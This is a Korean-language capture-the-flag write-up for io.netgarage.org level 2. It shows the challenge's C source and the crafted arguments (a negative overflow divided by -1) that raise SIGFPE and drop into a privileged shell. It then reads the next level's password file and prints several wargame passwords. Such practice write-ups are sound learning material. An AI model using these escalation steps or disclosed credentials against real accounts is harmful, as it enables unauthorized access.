ssh level2@io.netgarage.org
3ywr07ZFw5IsdKzU
level2@io:~$ cd /levels
level2@io:/levels$ ./level02
source code is available in level02.c
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
signal() 함수는 해당 시그널에 대한 처리를 개발자가 임의로 처리할 수 있게 해주는 함수다.
여기 signal(SIGFPE,catcher);
는 SIGFPE 시그널을 받으면 catcher 함수를 실행시키겠다는 뜻이다.
그래서 우리는 일단
if (argc != 3 || !atoi(argv[2]))
에 걸리지 않고,
return abs(atoi(argv[1])) / atoi(argv[2]);
에서 SIGFPE 시그널을 발생 시켜야 한다.
SIGFPE 시그널은 integer 변수가 overflow 되었을 때나, 잘못된 float 산술 연산일 때 발생한다고 한다.
그래서
level2@io:/levels$ ./level02 123123123123123123 1
source code is available in level02.c
이렇게 입력해보았지만 응답이 없었다.
그래서 좀더 시그널 조건에 접근하기 위해
음수계산을 해보기로 했다.
level2@io:/levels$ ./level02 -123123123123123123 -1
source code is available in level02.c
WIN!
sh-4.2$
sh-4.2$ cat /home/level3/.pass
IFd92yzOnSMv9tkX